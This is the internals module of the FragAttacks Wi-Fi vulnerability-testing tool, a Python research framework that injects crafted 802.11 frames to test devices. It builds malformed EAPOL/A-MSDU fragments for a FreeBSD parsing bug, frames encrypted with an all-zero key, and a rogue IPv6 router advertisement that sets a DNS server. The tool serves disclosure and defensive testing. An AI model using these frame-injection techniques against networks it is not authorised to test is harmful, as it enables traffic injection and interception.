fragattacks/research/fraginternals.py

#!/usr/bin/env python3
# Copyright (c) 2020, Mathy Vanhoef <mathy.vanhoef@nyu.edu>
#
# This code may be distributed under the terms of the BSD license.
# See README for more details.

from libwifi import *
import abc, sys, socket, struct, time, subprocess, atexit, select, copy
import os.path
from wpaspy import Ctrl
from scapy.contrib.wpa_eapol import WPA_key
from scapy.arch.common import get_if_raw_hwaddr

FRAGVERSION = "1.3"

# ----------------------------------- Utility Commands -----------------------------------

def croprepr(p, length=175):
	string = repr(p)
	if len(string) > length:
		return string[:length - 3] + "..."
	return string

def log_level2switch(options):
	if options.debug >= 2: return ["-dd", "-K"]
	elif options.debug >= 1: return ["-d", "-K"]
	return ["-K"]

def freebsd_create_eapolmsdu(src, dst, toinject):
	"""
	FreeBSD doesn't properly parse A-MSDU frames that start with an
	LLC/SNAP header. This is problematic when performing the EAPOL/AMSDU
	attack. Details why this happens are unclear. To better understand
	how the frames are parsed, see docs/freebsd_amsdu_bug.odt
	"""

	# Subframe 1: LLC/SNAP for EAPOL. The X's will be part of the first subframe.
	prefix = raw(LLC()/SNAP()/EAPOL()) + b"XXXXXXXX"

	# Subframe 1: content will be the X's (excluding the first 6 bytes). The actual
	#	ethernet payload length will be payload_len - 16 due to parsing bugs.
	payload_len = 16
	total_len   = payload_len + 6 + 6 + 2
	padding_len = 4 - (total_len % 4) if total_len % 4 != 0 else 0
	payload = prefix + struct.pack(">H", payload_len) + payload_len * b"X" + padding_len * b"Y"

	# Subframe 2: we can now append it normally
	payload += raw(create_msdu_subframe(src, dst, toinject))

	return payload

def freebsd_encap_eapolmsdu(p, src, dst, payload):
	"""
	Here p is the header of a frame, and payload the desired content
	that will be accepted by FreeBSD.
	"""

	# Broadcast/multicast fragments do not affect the fragment cache
	p.addr1 = "ff:ff:ff:ff:ff:ff"

	# Encapsulate EAPOL in malformed EAPOL/A-MSDU fragment
	set_amsdu(p)

	p = p/freebsd_create_eapolmsdu(src, dst, payload)
	return p

# ----------------------------------- Vulnerability Tests -----------------------------------

REQ_ARP, REQ_ICMP, REQ_ICMPv6_RA, REQ_DHCP, REQ_UDP = range(5)

def generate_request(sta, ptype, prior=2, icmp_size=None, padding=None, to_self=False, dport=None):
	header = sta.get_header(prior=prior)

	# Test handle the client handles Ethernet frames with the same src and dst MAC address
	to_ds = header.FCfield & Dot11(FCfield="to-DS").FCfield != 0
	if to_self and to_ds:
		log(ERROR, "Impossible test! Can't send frames to the AP where both Ethernet dst and src are the same.")
	elif to_self:
		header.addr3 = header.addr1

	if ptype == REQ_ARP:
		# Avoid using sta.get_peermac() because the correct MAC addresses may not
		# always be known (due to difference between AP and router MAC addresses).
		check = lambda p: ARP in p and p.hwdst == sta.mac and p.pdst == sta.ip \
				  and p.psrc == sta.peerip and p[ARP].op == 2
		request = LLC()/SNAP()/ARP(op=1, hwsrc=sta.mac, psrc=sta.ip, pdst=sta.peerip)

	elif ptype == REQ_ICMP:
		label = b"test_ping_icmp"

		if icmp_size == None: icmp_size = 0
		payload = label + b"A" * max(0, icmp_size - len(label))

		check = lambda p: ICMP in p and label in raw(p) and p[ICMP].type == 0
		request = LLC()/SNAP()/IP(src=sta.ip, dst=sta.peerip)/ICMP()/Raw(payload)

	elif ptype == REQ_ICMPv6_RA:
		dns_ipv6 = "fd75:7c74:2274:1::53"

		p = IPv6(dst="ff02::1", src=sta.ipv6)/ICMPv6ND_RA()
		p = p/ICMPv6NDOptSrcLLAddr(lladdr=sta.mac)/ICMPv6NDOptMTU()
		p = p/ICMPv6NDOptPrefixInfo(prefixlen=64, prefix="d00d::")
		p = p/ICMPv6NDOptRDNSS(lifetime=900, dns=[dns_ipv6])

		request = LLC()/SNAP()/p
		check = lambda p: IPv6 in p and p[IPv6].dst == dns_ipv6

	elif ptype == REQ_DHCP:
		xid = random.randint(0, 2**31)

		check = lambda p: BOOTP in p and p[BOOTP].xid == xid and p[BOOTP].op == 2

		rawmac = bytes.fromhex(sta.mac.replace(':', ''))
		request = LLC()/SNAP()/IP(src="0.0.0.0", dst="255.255.255.255")
		request = request/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=xid)
		request = request/DHCP(options=[("message-type", "discover"), "end"])

		# We assume DHCP discover is sent towards the AP.
		header.addr3 = "ff:ff:ff:ff:ff:ff"

	elif ptype == REQ_UDP:
		port = random.randint(2000, 2**16)

		# We cannot chekc UDP automatically
		check = None

		request = LLC()/SNAP()/IP(src=sta.ip, dst=sta.peerip)
		request = request/UDP(sport=port, dport=dport)/Raw(b"AAAA")

	if padding != None and padding >= 1:
		request = raw(request) + b"\x00" + b"A" * (padding - 1)

	return header, request, check

class Action():
	# StartAuth: when starting the handshake
	# BeforeAuth: right before last message of the handshake
	# AfterAuth: right after last message of the handshake
	# Connected: 1 second after handshake completed (allows peer to install keys)
	NoTrigger, StartAuth, BeforeAuth, AfterAuth, Connected = range(5)

	# GetIp: request an IP before continueing (or use existing one)
	# Rekey: force or wait for a PTK rekey
	# Reconnect: force a reconnect
	# Roam: perform an FT roam
	# Inject: inject the associated packet
	# Func: execute a given function
	# Meta: meta-action used (and removed) during test construction
	NoAction, GetIp, Rekey, Reconnect, Roam, Inject, Func = range(7)

	# Drop: when fragmenting frames, skip the next fragment number. Used in PingTest.
	MetaDrop = range(0)

	def __init__(self, trigger=Connected, action=Inject, meta_action=None, func=None, enc=False, frame=None, inc_pn=1, bad_mic=False, delay=None, wait=None, key=None):
		self.trigger = trigger
		self.action = action

		self.meta_action = meta_action
		if self.meta_action != None:
			self.trigger = Action.NoTrigger
			self.action = Action.NoAction

		self.func = func
		if self.func != None:
			self.action = Action.Func

		# Take into account default wait values. A wait value of True means the next
		# Action will not be immediately executed if it has the same trigger (instead
		# we have to wait on a new trigger e.g. after rekey, reconnect, roam).
		self.wait = wait
		if self.wait == None:
			self.wait = action in [Action.Rekey, Action.Reconnect, Action.Roam]

		# Specific to fragment injection
		self.encrypted = enc
		self.inc_pn = inc_pn
		self.bad_mic = bad_mic
		self.delay = delay
		self.frame = frame
		self.key = key

	def is_meta(self, meta):
		return self.meta_action == meta

	def get_action(self):
		return self.action

	def __str__(self):
		trigger = ["NoTigger", "StartAuth", "BeforeAuth", "AfterAuth", "Connected"][self.trigger]
		action = ["NoAction", "GetIp", "Rekey", "Reconnect", "Roam", "Inject", "Func"][self.action]
		return f"Action({trigger}, {action})"

	def __repr__(self):
		return str(self)

class Test(metaclass=abc.ABCMeta):
	"""
	Base class to define tests. The default defined methods can be used,
	but they can also be overriden if desired.
	"""

	def __init__(self, actions=None):
		self.actions = actions if actions != None else []
		self.generated = False
		self.pre_delay = None
		self.delay = None
		self.inc_pn = None
		self.check_fn = None
		self.time_completed = None

	def requires_manual_check(self):
		return self.check_fn == None

	def next_trigger_is(self, trigger):
		if len(self.actions) == 0:
			return False
		if self.actions[0].trigger == Action.NoTrigger:
			return True
		return self.actions[0].trigger == trigger

	def is_next_inject(self):
		if len(self.actions) == 0:
			return False
		if self.actions[0].is_meta(Action.MetaDrop):
			return True
		return self.actions[0].action == Action.Inject

	def next_action(self, station):
		if len(self.actions) == 0:
			return None

		if not self.generated and self.is_next_inject():
			self.generate(station)
			self.generated = True

		act = self.actions[0]
		del self.actions[0]
		return act

	def check_finished(self):
		if self.time_completed != None:
			return

		# If this was the last action, record the time
		if len(self.actions) == 0:
			self.time_completed = time.time()
			if self.check_fn == None:
				log(STATUS, ">>> All frames sent. You must manually check if the test succeeded (see README).", color="green")

	def get_actions(self, action):
		return [act for act in self.actions if act.action == action]

	def timedout(self):
		if self.time_completed == None:
			return False
		return self.time_completed + 5 < time.time()

	@abc.abstractmethod
	def prepare(self, station):
		pass

	def generate(self, station):
		self.prepare(station)
		self.enforce_delays()
		self.enforce_inc_pn()

	def check(self, p):
		if self.check_fn == None:
			return False
		return self.check_fn(p)

	def set_general_options(self, delay=None, inc_pn=None, pre_delay=None):
		self.pre_delay = pre_delay
		self.delay = delay
		self.inc_pn = inc_pn

	def enforce_delays(self):
		inject_frags = self.get_actions(Action.Inject)

		# Add a delay before executing the first Inject action. This means a delay is added after
		# possibly getting an IP via DHCP but before injecting the first test fragment/frame.
		if self.pre_delay is not None and self.pre_delay > 0:
			assert len(inject_frags) > 0
			inject_frags[0].delay = self.pre_delay

		# Add a delay between every next injected fragments if requested
		if self.delay is not None and self.delay > 0:
			for frag in inject_frags[1:]:
				frag.delay = self.delay

	def enforce_inc_pn(self):
		if self.inc_pn == None:
			return

		# Use specific PN increments between frames if requested
		for frag in self.get_actions(Action.Inject)[1:]:
			frag.inc_pn = self.inc_pn

# ----------------------------------- Abstract Station Class -----------------------------------

class Station():
	# Basic state machine to track execution of 4-way handshake
	HsInit, HsGotM12, HsGotM34, HsDone = range(4)

	def __init__(self, daemon, mac, ds_status):
		self.daemon = daemon
		self.options = daemon.options
		self.test = daemon.options.test
		self.hs_state = Station.HsInit
		self.obtained_ip = False
		self.waiting_on_ip = False

		# Don't reset PN to have consistency over rekeys and reconnects
		self.reset_keys()
		self.pn = [0x100] * 16

		# Contains either the "to-DS" or "from-DS" flag.
		self.FCfield = Dot11(FCfield=ds_status).FCfield
		self.seqnum = 16

		# MAC address and IP of the station that our script controls.
		# Can be either an AP or client.
		self.mac = mac
		self.ip = None
		self.ipv6 = "fe80::a00:27ff:fec6:2f54"

		# MAC address of the BSS. This is always the AP.
		self.bss = None

		# MAC address and IP of the peer station.
		# Can be either an AP or client.
		self.peermac = None
		self.peerip = None

		# To trigger Connected event 1-2 seconds after Authentication
		self.time_connected = None

		# To detect whether the 4-way handshake gets stuck
		self.time_authdone = None

	def stop_test(self, failed=True):
		self.test = None
		if not self.options.stay_up:
			quit(failed)

	def reset_keys(self):
		self.tk = None
		self.gtk = None
		self.gtk_idx = None

	def handle_mon(self, p):
		pass

	def handle_eth(self, p):
		if self.test != None and self.test.check != None and self.test.check(p):
			log(STATUS, "Received packet: " + repr(p))
			log(STATUS, ">>> TEST COMPLETED SUCCESSFULLY", color="green")
			self.stop_test(failed=False)

	def send_mon(self, data, prior=1, plaintext=False):
		"""
		Right after completing the handshake, it occurred several times that our
		script was sending data *before* the key had been installed (or the port
		authorized). This meant traffic was dropped. Use this function to manually
		send frames over the monitor interface to ensure delivery and encryption.

		By default we use a TID of 1. Since our tests by default use a TID of 2,
		this reduces the chance the frames sent using this function (which most
		are EAP or EAPOL frames) interfere with the reassembly of frames sent by
		the tests.
		"""

		# If it contains an Ethernet header, strip it, and take addresses from that
		p = self.get_header(prior=prior)
		if Ether in data:
			payload = data.payload
			p.addr2 = data.src

			# This tests if to-DS is set
			if p.FCfield & 1:
				p.addr3 = data.dst
			else:
				p.addr1 = data.dst

		else:
			payload = data

		# Add payload headers
		payload = LLC()/SNAP()/payload

		# Special case when sending EAP(OL) frames to NetBSD. Must be EAPOL/MSDU because
		# only "EAPOL" frames are now accepted.
		if self.options.freebsd_cache and (EAP in data or EAPOL in data):
			log(STATUS, "Sending EAPOL as (malformed) broadcast EAPOL/A-MSDU")
			p = freebsd_encap_eapolmsdu(p, self.mac, self.get_peermac(), payload)

		# Normal case only need to check for encryption
		else:
			p = p/payload
			if self.tk and not plaintext: p, _ = self.encrypt(p)

		self.daemon.inject_mon(p)
		log(STATUS, "[Injected packet] " + croprepr(p))

	def set_header(self, p, prior=None):
		"""Set addresses to send frame to the peer or the 3rd party station."""
		# Priority is only supported in data frames
		assert (prior == None) or (p.type == 2)

		# Set the appropriate to-DS or from-DS bits
		p.FCfield |= self.FCfield

		# Add the QoS header if requested
		if prior != None:
			p.subtype = 8
			if not Dot11QoS in p:
				p.add_payload(Dot11QoS(TID=prior))
			else:
				p[Dot11QoS].TID = prior

		# This checks if the to-DS is set (frame towards the AP)
		if p.FCfield & 1 != 0:
			p.addr1 = self.bss
			p.addr2 = self.mac
			p.addr3 = self.get_peermac()
		else:
			p.addr1 = self.peermac
			p.addr2 = self.mac
			p.addr3 = self.bss

	def get_header(self, seqnum=None, prior=2, **kwargs):
		"""
		Generate a default common header. By default use priority of 1 so destination
		will still accept lower Packet Numbers on other priorities.
		"""

		if seqnum == None:
			seqnum = self.seqnum
			self.seqnum += 1

		header = Dot11(type="Data", SC=(seqnum << 4))
		self.set_header(header, prior=prior, **kwargs)
		return header

	def encrypt(self, frame, inc_pn=1, force_key=None):
		# TODO: Add argument to force a bad authenticity check

		# Need to already remove Dot11QoS here since this affects authenticity tag
		if self.options.no_qos and Dot11QoS in frame:
			log(DEBUG, "Station.encrypt: removing Dot11QoS header as requested by user")
			frame = remove_dot11qos(frame)

		idx = dot11_get_priority(frame) if self.options.pn_per_qos else 0
		self.pn[idx] += inc_pn

		key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
		if force_key == 0:
			log(STATUS, "Encrypting with all-zero key")
			key = b"\x00" * len(key)

		if len(key) == 32:
			# TODO: Implement and test this function
			encrypted = encrypt_tkip(frame, key, self.pn[idx], keyid)
		elif len(key) == 16:
			encrypted = encrypt_ccmp(frame, key, self.pn[idx], keyid, self.options.amsdu_spp)
		else:
			encrypted = encrypt_wep(frame, key, self.pn[idx], keyid)

		return encrypted, key

	def handle_connecting(self, bss):
		log(STATUS, f"Station: setting BSS MAC address {bss}")
		self.bss = bss

		# Clear the keys on a new connection
		self.reset_keys()

	def set_peermac(self, peermac):
		self.peermac = peermac

	def get_peermac(self):
		# When being a client, the peermac may not yet be known. In that
		# case we assume it's the same as the BSS (= AP) MAC address.
		if self.peermac == None:
			return self.bss
		return self.peermac

	def trigger_eapol_events(self, eapol):
		# Ignore everything apart the 4-way handshake
		if not WPA_key in eapol: return None

		# Track return value of possible trigger Action function
		result = None

		key_type    = eapol.key_info & 0x0008
		key_ack     = eapol.key_info & 0x0080
		key_mic     = eapol.key_info & 0x0100
		key_secure  = eapol.key_info & 0x0200
		key_request = eapol.key_info & 0x0800
		# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
		is_msg3_or_4 = key_secure != 0

		# Ignore group key handshake and key requests
		if key_type == 0 or key_request != 0:
			return None

		# Fire the StartAuth event on the 1st or 2nd message
		if not is_msg3_or_4 and self.hs_state in [Station.HsInit, Station.HsGotM34, Station.HsDone]:
			log(STATUS, "Action.StartAuth", color="green")
			result = self.perform_actions(Action.StartAuth, eapol=eapol)
			self.hs_state = Station.HsGotM12

			if self.time_authdone == None:
				self.time_authdone = time.time() + 6

			self.time_connected = None

		# Inject any fragments when almost done authenticating
		elif is_msg3_or_4 and self.hs_state == Station.HsGotM12:
			log(STATUS, "Action.BeforeAuth", color="green")
			result = self.perform_actions(Action.BeforeAuth, eapol=eapol)
			self.hs_state = Station.HsGotM34

		return result

	def handle_eapol_tx(self, eapol, dstmac):
		eapol = Ether(dst=dstmac, src=self.mac)/EAPOL(eapol)
		send_it = self.trigger_eapol_events(eapol)

		if send_it == None:
			# - Send over monitor interface to assure order compared to injected fragments.
			# - This is also important because the station might have already installed the
			#   key before this script can send the EAPOL frame over Ethernet (but we didn't
			#   yet request the key from this script).
			# - Send with high priority, otherwise Action.AfterAuth might be send before
			#   the EAPOL frame by the Wi-Fi chip.
			# - Some routers such as the RT-AC51U do the 4-way rekey HS in plaintext.
			self.send_mon(eapol, plaintext=self.options.rekey_plaintext)

	def perform_actions(self, trigger, **kwargs):
		result = None
		if self.test == None:
			return

		frame = None
		while self.test.next_trigger_is(trigger):
			act = self.test.next_action(self)

			# TODO: Previously scheduled Connected on AfterAuth should be cancelled??
			if act.action == Action.GetIp and not self.obtained_ip:
				self.waiting_on_ip = True
				self.daemon.get_ip(self)
				log(DEBUG, "Waiting with next action until we have an IP")
				break

			elif act.action == Action.Func:
				result = act.func(self, **kwargs)
				log(STATUS, "[Executed Function] Result=" + str(result))
				# TODO: How to collect multiple results on one trigger?

			elif act.action == Action.Rekey:
				# Force rekey as AP, wait on rekey as client
				self.daemon.rekey(self)

			elif act.action == Action.Roam:
				# Roam as client, TODO XXX what was AP?
				self.daemon.roam(self)

			elif act.action == Action.Reconnect:
				# Full reconnect as AP, reassociation as client
				self.daemon.reconnect(self)

			elif act.action == Action.Inject:
				if act.delay != None and act.delay > 0:
					log(STATUS, f"Sleeping {act.delay} seconds")
					time.sleep(act.delay)

				if act.encrypted:
					assert self.tk != None and self.gtk != None
					frame, key = self.encrypt(act.frame, inc_pn=act.inc_pn, force_key=act.key)
					log(STATUS, "Using key " + key.hex() + " to encrypt " + repr(act.frame))
				else:
					frame = act.frame

				self.daemon.inject_mon(frame)
				log(STATUS, "[Injected] " + repr(frame))

				if self.options.inject_mf_workaround and frame.FCfield & 0x4 != 0:
					self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
					log(DEBUG, "[Injected] Prevent bug after fragment injection")


			# Stop processing actions if requested
			if act.wait: break

		self.test.check_finished()
		return result

	def update_keys(self):
		self.tk = self.daemon.get_tk(self)
		self.gtk, self.gtk_idx = self.daemon.get_gtk()
		log(STATUS, "Obtained encryption keys from daemon")

	def handle_authenticated(self):
		"""Called after completion of the 4-way handshake or similar"""
		self.update_keys()

		if self.hs_state == Station.HsGotM34:
			# Note that self.time_connect may get changed in perform_actions
			log(STATUS, "Action.AfterAuth", color="green")
			self.time_connected = time.time() + self.options.connected_delay
			self.perform_actions(Action.AfterAuth)
			self.hs_state = Station.HsDone
			self.time_authdone = None

		elif self.hs_state in [Station.HsInit, Station.HsGotM12]:
			log(WARNING, "Unexpected completion of authentication")

	def handle_connected(self):
		"""This is called ~1 second after completing the handshake"""
		log(STATUS, "Action.Connected", color="green")
		self.perform_actions(Action.Connected)

	def set_ip_addresses(self, ip, peerip):
		self.ip = ip
		self.peerip = peerip
		self.obtained_ip = True

		log(DEBUG, "Waiting on IP before forming next actions: " + str(self.waiting_on_ip))
		if self.waiting_on_ip:
			self.waiting_on_ip = False
			self.perform_actions(Action.Connected)

	def time_tick(self):
		if self.time_connected != None and time.time() > self.time_connected:
			self.time_connected = None
			self.handle_connected()
		elif self.time_authdone != None and time.time() > self.time_authdone:
			if self.options.freebsd_cache:
				log(ERROR, "The 4-way handshake has timed out, perhaps due to usage of the --freebsd parameter.")
			else:
				log(ERROR, "The 4-way handshake has timed out for an unknown reason.")
			self.time_authdone = None
			self.stop_test()
		elif self.test != None and self.test.timedout():
			if not self.test.requires_manual_check():
				log(ERROR, ">>> Test timed out! Retry to be sure, or manually check result.")
			else:
				log(STATUS, "Closing down. Remember to manually check whether the test succeeded or not.")
			self.stop_test()

# ----------------------------------- Client and AP Daemons -----------------------------------

class Daemon(metaclass=abc.ABCMeta):
	def __init__(self, options):
		self.options = options

		self.nic_iface = None
		self.nic_mon = None
		self.nic_hwsim = None

		self.process = None
		self.sock_eth = None
		self.sock_mon = None
		self.sock_hwsim = None

		self.wpaspy_pending = []

	@abc.abstractmethod
	def start_daemon(self):
		pass

	def configure_daemon(self):
		pass

	def handle_mon(self, p):
		pass

	def handle_eth(self, p):
		pass

	@abc.abstractmethod
	def time_tick(self, station):
		pass

	@abc.abstractmethod
	def get_tk(self, station):
		pass

	def get_gtk(self):
		gtk, idx = self.wpaspy_command("GET_GTK").split()
		return bytes.fromhex(gtk), int(idx)

	@abc.abstractmethod
	def get_ip(self, station):
		pass

	@abc.abstractmethod
	def rekey(self, station):
		pass

	@abc.abstractmethod
	def reconnect(self, station):
		pass

	def wpaspy_clear_messages(self):
		while self.wpaspy_ctrl.pending():
			self.wpaspy_ctrl.recv()

	def wpaspy_command(self, cmd):
		#self.wpaspy_clear_messages(ctrl)

		# Include console prefix so we can ignore other messages sent over the control interface
		response = self.wpaspy_ctrl.request("> " + cmd)
		while not response.startswith("> "):
			self.wpaspy_pending.append(response)
			log(DEBUG, "<appending> " + response)
			response = self.wpaspy_ctrl.recv()

		if "UNKNOWN COMMAND" in response:
			log(ERROR, "wpa_supplicant did not recognize the command %s. Did you (re)compile wpa_supplicant/hostapd?" % cmd.split()[0])
			quit(1)
		elif "FAIL" in response:
			log(ERROR, f"Failed to execute command {cmd}")
			quit(1)

		return response[2:]

	def configure_interfaces(self):
		try:
			subprocess.check_output(["rfkill", "unblock", "wifi"])
		except Exception as ex:
			log(ERROR, "Are you running as root (and in a Python virtualenv)?")
			quit(1)
		self.nic_iface = self.options.iface

		# TODO: Check if the interfaces exists

		# 0. Verify whether patched drivers are being used
		if not self.options.no_drivercheck:
			if not os.path.exists("/sys/module/mac80211/parameters/"):
				log(WARNING, "WARNING: Unable to check whether you are using patched drivers.")
			elif not os.path.exists("/sys/module/mac80211/parameters/fragattack_version"):
				log(ERROR, "You are not running patched drivers, meaning this tool may give incorrect results!")
				log(STATUS, "To ignore this warning and timeout add the parameter --no-drivercheck")
				time.sleep(5)
			elif FRAGVERSION != open("/sys/module/mac80211/parameters/fragattack_version").read().strip():
				version = open("/sys/module/mac80211/parameters/fragattack_version").read().strip()
				log(ERROR, f"This script has version {FRAGVERSION} but the modified drivers are version {version}.")
				log(ERROR, f"Recompile and reinstall the modified drivers or add --no-drivercheck (see the README for details).")
				quit(1)

		# 1. Assign/create interfaces according to provided options
		if self.options.hwsim:
			# TODO: Automatically create both interfaces?
			self.nic_iface, self.nic_hwsim = self.options.hwsim.split(",")
			self.nic_mon = self.options.iface
			set_macaddress(self.nic_iface, get_macaddress(self.nic_mon))

			if not self.options.ap:
				log(WARNING, f"Note: you must manually set {self.nic_mon} on the channel of the AP")

		elif self.options.inject:
			# Use the provided interface to monitor/inject frames
			self.nic_mon = self.options.inject

		else:
			# Create second virtual interface in monitor mode. Note: some kernels
			# don't support interface names of 15+ characters.
			self.nic_mon = "mon" + self.nic_iface[:12]

			# Only create a new monitor interface if it does not yet exist
			try:
				scapy.arch.get_if_index(self.nic_mon)
			except IOError:
				subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
				subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])

		# 2.A Remember whether to need to use injection workarounds.
		driver = get_device_driver(self.nic_mon)
		if driver == None:
			log(WARNING, "Unable to detect driver of interface!")
			log(WARNING, "Injecting fragments may be unreliable.")
		elif driver in ["ath9k_htc", "iwlwifi"]:
			# Assure that fragmented frames are reliably injected on certain iwlwifi and ath9k_htc devices
			self.options.inject_mf_workaround = True
			log(STATUS, f"Detected {driver}, using injection bug workarounds")

		# 2.B Check if ath9k_htc is using patched firmware
		if not self.options.no_drivercheck and driver == "ath9k_htc":
			try:
				with open("/sys/module/ath9k_htc/parameters/fragattack_fw") as fp:
					if not int(fp.read()) == 1:
						log(ERROR, "WARNING: It seems the ath9k_htc device is not using patched firmware!")
						log(STATUS, "To ignore this warning and timeout add the parameter --no-drivercheck")
						time.sleep(5)
			except:
				log(WARNING, "WARNING: Unable to check if the ath9k_htc device is using patched firmware!")

		# 3. Enable monitor mode
		set_monitor_mode(self.nic_mon)
		log(STATUS, f"Using interface {self.nic_mon} ({get_device_driver(self.nic_mon)}) to inject frames.")
		if self.nic_hwsim:
			set_monitor_mode(self.nic_hwsim)

		# 4. Configure test interface if used
		if self.options.inject_test != None and self.options.inject_test != "self":
			set_monitor_mode(self.options.inject_test)

	def inject_mon(self, p):
		# If requested send all frames as normal data frames (i.e. remove Dot11QoS if present)
		if self.options.no_qos and Dot11QoS in p:
			log(DEBUG, "Station.inject_mon: removing Dot11QoS header as requested by user")
			p = remove_dot11qos(p)
		self.sock_mon.send(p)

	def inject_eth(self, p):
		self.sock_eth.send(p)

	def connect_wpaspy(self):
		# Wait until daemon started
		time_abort = time.time() + 10
		while not os.path.exists("wpaspy_ctrl/" + self.nic_iface) and time.time() < time_abort:
			time.sleep(0.1)

		# Abort if daemon didn't start properly
		if not os.path.exists("wpaspy_ctrl/" + self.nic_iface):
			log(ERROR, "Unable to connect to control interface. Did hostap/wpa_supplicant start properly?")
			log(ERROR, "Try recompiling them using ./build.sh and double-check client.conf and hostapd.conf.")
			quit(1)

		# Open the wpa_supplicant or hostapd control interface
		try:
			self.wpaspy_ctrl = Ctrl("wpaspy_ctrl/" + self.nic_iface)
			self.wpaspy_ctrl.attach()
		except:
			log(ERROR, "It seems wpa_supplicant/hostapd did not start properly.")
			log(ERROR, "Please restart it manually and inspect its output.")
			log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise it won't start properly.")
			raise

	def follow_channel(self):
		# We use GET_CHANNEL of wpa_s/hostapd because it's more reliable than get_channel,
		# which can fail on certain devices such as the AWUS036ACH.
		channel = self.wpaspy_command("GET_CHANNEL").strip()
		if self.options.inject:
			log(STATUS, f"{self.nic_mon}: setting to channel {channel}")
			set_channel(self.nic_mon, channel)
		elif self.options.hwsim:
			log(STATUS, f"{self.nic_hwsim}: setting to channel {channel}")
			log(STATUS, f"{self.nic_mon}: setting to channel {channel}")
			set_channel(self.nic_hwsim, channel)
			set_channel(self.nic_mon, channel)

		if self.options.inject_test != None and self.options.inject_test != "self":
			# FIXME: When using 40 MHz channel this call tends to fail the first time
			log(STATUS, f"{self.options.inject_test}: setting to channel {channel}")
			set_channel(self.options.inject_test, channel)
			# When explicitly testing we can afford a longer timeout. Otherwise we should avoid it.
			time.sleep(0.5)

	def injection_test(self, peermac, ownmac, is_postauth):
		# Only perform the test when explicitly requested
		if self.options.inject_test == None:
			return

		# If requested perform the test after authentication
		if self.options.inject_test_postauth != is_postauth:
			return

		try:
			test_iface = None if self.options.inject_test == "self" else self.options.inject_test
			test_injection(self.nic_mon, test_iface, peermac, ownmac, testack=is_postauth)
		except IOError as ex:
			log(WARNING, ex.args[0])
			log(ERROR, "Unexpected error. Are you using the correct kernel/driver/device?")
			quit(1)

		log(DEBUG, f"Passed injection self-test on interface {self.nic_mon}.")
		quit(1)

	def forward_hwsim(self, p, s):
		if p == None: return
		if not Dot11 in p: return
		if p.type != 0 and p.type != 2: return

		if len(p) >= 2200:
			log(DEBUG, f"Cannot forward frame longer than MTU (length {len(p)}).")
			return

		# Due to very strange buy in Scapy, we cannot directly forward frames with a
		# Dot11Encrypted layer. So we first convert them into a raw byte stream.
		p = Raw(raw(p))
		s.send(p)

	def run(self):
		self.configure_interfaces()

		# Remove old occurrences of the control interface that didn't get cleaned properly
		subprocess.call(["rm", "-rf", "wpaspy_ctrl/"])

		self.start_daemon()

		self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
		self.sock_mon = MonitorSocket(type=ETH_P_ALL, iface=self.nic_mon)
		if self.nic_hwsim:
			self.sock_hwsim = MonitorSocket(type=ETH_P_ALL, iface=self.nic_hwsim)

		# Verify that hostap got recompiled on updates
		version = self.wpaspy_command("GET_VERSION").strip()
		if version != FRAGVERSION:
			log(ERROR, f"This script has version {FRAGVERSION} but compiled wpa_supplicant/hostapd is {version}.")
			log(ERROR, f"Please recompile hostapd/wpa_supplicant using `build.sh`.")
			quit(1)

		# Post-startup configuration of the supplicant or AP
		self.wpaspy_command("SET ext_eapol_frame_io 1")
		self.configure_daemon()

		# Monitor the virtual monitor interface of the client and perform the needed actions
		sockets = [self.sock_mon, self.sock_eth, self.wpaspy_ctrl.s]
		if self.sock_hwsim: sockets.append(self.sock_hwsim)
		while True:
			while len(self.wpaspy_pending) > 0:
				self.handle_wpaspy(self.wpaspy_pending.pop())

			sel = select.select(sockets, [], [], 0.5)
			if self.sock_hwsim in sel[0]:
				p = self.sock_hwsim.recv()
				if p != None: self.forward_hwsim(p, self.sock_mon)

			if self.sock_mon in sel[0]:
				p = self.sock_mon.recv()
				if p != None: self.handle_mon(p)
				if self.sock_hwsim:
					self.forward_hwsim(p, self.sock_hwsim)

			if self.sock_eth in sel[0]:
				p = self.sock_eth.recv()
				if p != None and Ether in p: self.handle_eth(p)

			if self.wpaspy_ctrl.s in sel[0]:
				msg = self.wpaspy_ctrl.recv()
				self.handle_wpaspy(msg)

			self.time_tick()

	def stop(self):
		log(STATUS, "Closing daemon and cleaning up ...")
		if self.process:
			self.process.terminate()
			self.process.wait()
		if self.sock_eth: self.sock_eth.close()
		if self.sock_mon: self.sock_mon.close()


class Authenticator(Daemon):
	def __init__(self, options):
		super().__init__(options)

		self.apmac = None
		self.sock_eth = None
		self.dhcp = None
		self.arp_sender_ip = None
		self.arp_sock = None
		self.stations = dict()

	def get_tk(self, station):
		tk = self.wpaspy_command("GET_TK " + station.get_peermac())
		return bytes.fromhex(tk)

	def time_tick(self):
		for station in self.stations.values():
			station.time_tick()

	def get_ip(self, station):
		log(STATUS, f"Waiting on client {station.get_peermac()} to get IP")

	def rekey(self, station):
		log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green")
		cmd = f"REKEY_PTK {station.get_peermac()}"
		if self.options.rekey_early_install:
			log(STATUS, "Will install PTK during rekey after sending Msg3")
			cmd += " early-install"
		self.wpaspy_command(cmd)

	def reconnect(self, station):
		# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
		# Reconnects only after a few seconds: MacOS (same with other reasons and with deauthentication)
		# Takes a few seconds, and then does a full new connection: Security Camera
		if self.options.full_reconnect:
			log(STATUS, "Deauthentication station to make it reconnect", color="green")
			cmd = f"DEAUTHENTICATE {station.get_peermac()} reason={WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA}"
		else:
			log(STATUS, "Disassociating station to make it reconnect", color="green")
			cmd = f"DISASSOCIATE {station.get_peermac()} reason={WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA}"
		self.wpaspy_command(cmd)

	def handle_eth_dhcp(self, p, station):
		if not DHCP in p or not station.get_peermac() in self.dhcp.leases: return

		# This assures we only mark it as connected after receiving a DHCP Request
